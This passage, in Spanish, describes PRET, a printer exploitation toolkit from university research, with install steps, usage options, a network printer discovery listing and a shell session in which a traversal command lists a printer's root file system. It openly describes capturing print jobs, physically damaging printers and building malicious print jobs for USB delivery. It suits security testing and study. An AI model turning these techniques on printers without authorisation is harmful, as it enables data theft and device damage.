
Printer Exploitation Toolkit - La herramienta que hizo obsoleta la búsqueda en contenedores de basura.
¿Tu impresora es segura? Verifícalo antes de que alguien más lo haga...
PRET es una nueva herramienta para pruebas de seguridad de impresoras desarrollada en el marco de una Tesis de Maestría en la Universidad del Ruhr en Bochum. Se conecta a un dispositivo a través de red o USB y explota las características de un lenguaje de impresión dado. Actualmente se admiten PostScript, PJL y PCL, los cuales son utilizados por la mayoría de las impresoras láser. Esto permite cosas geniales como capturar o manipular trabajos de impresión, acceder al sistema de archivos y memoria de la impresora, o incluso causar daños físicos al dispositivo. Todos los ataques están documentados en detalle en el Wiki de Hacking Printers.
La idea principal de PRET es facilitar la comunicación entre el usuario final y la impresora. De este modo, después de ingresar un comando similar a UNIX, PRET lo traduce a PostScript, PJL o PCL, lo envía a la impresora, evalúa el resultado y lo traduce de vuelta a un formato amigable. PRET ofrece una gran cantidad de comandos útiles para ataques a impresoras y fuzzing.

PRET solo requiere un intérprete de Python2. Sin embargo, para salida coloreada y soporte SNMP, se deben instalar módulos de terceros:
# pip install colorama pysnmp
Si se ejecuta en una consola de Windows y los caracteres Unicode no se muestran correctamente, instala el módulo win_unicode_console:
# pip install win_unicode_console
Para la impresión experimental 'sin controlador' (ver comando print), es necesario instalar ImageMagick y GhostScript:
# apt-get install imagemagick ghostscript
usage: pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}
positional arguments:
target printer device or hostname
{ps,pjl,pcl} printing language to abuse
optional arguments:
-h, --help show this help message and exit
-s, --safe verify if language is supported
-q, --quiet suppress warnings and chit-chat
-d, --debug enter debug mode (show traffic)
-i file, --load file load and run commands from file
-o file, --log file log raw data sent to the target
$ ./pret.py laserjet.lan ps
$ ./pret.py /dev/usb/lp0 pjl
PRET requiere un objetivo válido y un lenguaje de impresión como argumentos. El objetivo puede ser la dirección IP/nombre de host de una impresora de red (con el puerto 9100/tcp abierto) o un dispositivo como /dev/usb/lp0 para una impresora USB local. Para descubrir rápidamente todas las impresoras de red en tu subred usando difusión SNMP, simplemente ejecuta PRET sin argumentos:
./pret.py
No target given, discovering local printers
address device uptime status
───────────────────────────────────────────────────────────────────────────────
192.168.1.5 hp LaserJet 4250 10:21:49 Ready
192.168.1.11 HP LaserJet M3027 MFP 13 days Paper jam
192.168.1.27 Lexmark X792 153 days Ready
192.168.1.28 Brother MFC-7860DW 16:31:17 Sleep mode
El lenguaje de impresión a explotar debe ser uno de ps, pjl o pcl. No todos los lenguajes son compatibles con todas las impresoras, por lo que puede que quieras cambiar de idioma si no recibes ninguna respuesta. Cada lenguaje de impresión está mapeado a un conjunto diferente de comandos de PRET y tiene diferentes capacidades para explotar.
--safe intenta verificar a través de IPP, HTTP y SNMP si el lenguaje de impresión seleccionado (PS/PJL/PCL) es realmente compatible con el dispositivo antes de conectar. En impresoras no conectadas a la red (USB, cable paralelo) esta prueba fallará.
--quit suprime la determinación del modelo de impresora, el mensaje de introducción y otras charlas.
--debug muestra el flujo de datos realmente enviado al dispositivo y la retroalimentación recibida. Ten en cuenta que los datos de cabecera y otros gastos generales se filtran. Para ver todo el tráfico, usa wireshark. La depuración también se puede activar/desactivar dentro de una sesión de PRET usando el comando debug.
--load archivo lee y ejecuta comandos de PRET desde un archivo de texto. Esto es útil para automatización. Los archivos de comandos también se pueden invocar más tarde dentro de una sesión de PRET mediante el comando load.
--log archivo escribe una copia del flujo de datos sin procesar enviado a la impresora en un archivo. Esto puede ser útil para construir un archivo de trabajo de impresión malicioso que se pueda implementar en otra impresora no directamente accesible, por ejemplo imprimiéndolo desde una unidad USB.
Después de conectarse a un dispositivo de impresora, verás el shell de PRET y podrás ejecutar varios comandos:
$ ./pret.py laserjet.lan pjl
________________
_/_______________/|
/___________/___//|| PRET | Printer Exploitation Toolkit v0.25
|=== |----| || by Jens Mueller <[email protected]>
| | ô| ||
|___________| ô| ||
| ||/.´---.|| | || 「 cause your device can be
|-||/_____\||-. | |´ more fun than paper jams 」
|_||=L==H==||_|__|/
(ASCII art by
Jan Foerster)
Connection to laserjet.lan established
Device: hp LaserJet 4250
Welcome to the pret shell. Type help or ? to list commands.
laserjet.lan:/> help
Available commands (type help <topic>):
=======================================
append debug edit free id ls open restart timeout
cat delete env fuzz info mirror printenv selftest touch
cd df exit get load mkdir put set traversal
chvol disable find help lock nvram pwd site unlock
close display format hold loop offline reset status version
laserjet.lan:/> ls ../../
- 834 .profile
d - bin
d - dev
d - etc
d - hp
d - hpmnt
- 1276 init
d - lib
d - pipe
d - tmp
laserjet.lan:/> exit
A continuación se muestra una lista de comandos genéricos de PRET:
help List available commands or get detailed help with 'help cmd'.
debug Enter debug mode. Use 'hex' for hexdump: debug [hex]
load Run commands from file: load cmd.txt
loop Run command for multiple arguments: loop <cmd> <arg1> <arg2> …
open Connect to remote device: open <target>
close Disconnect from device.
timeout Set connection timeout: timeout <seconds>
discover Discover local printer devices via SNMP.
print Print image file or raw text: print <file>|"text"
site Execute custom command on printer: site <command>
exit Exit the interpreter.
Las operaciones genéricas del sistema de archivos con una implementación específica de PS/PJL/PCL son: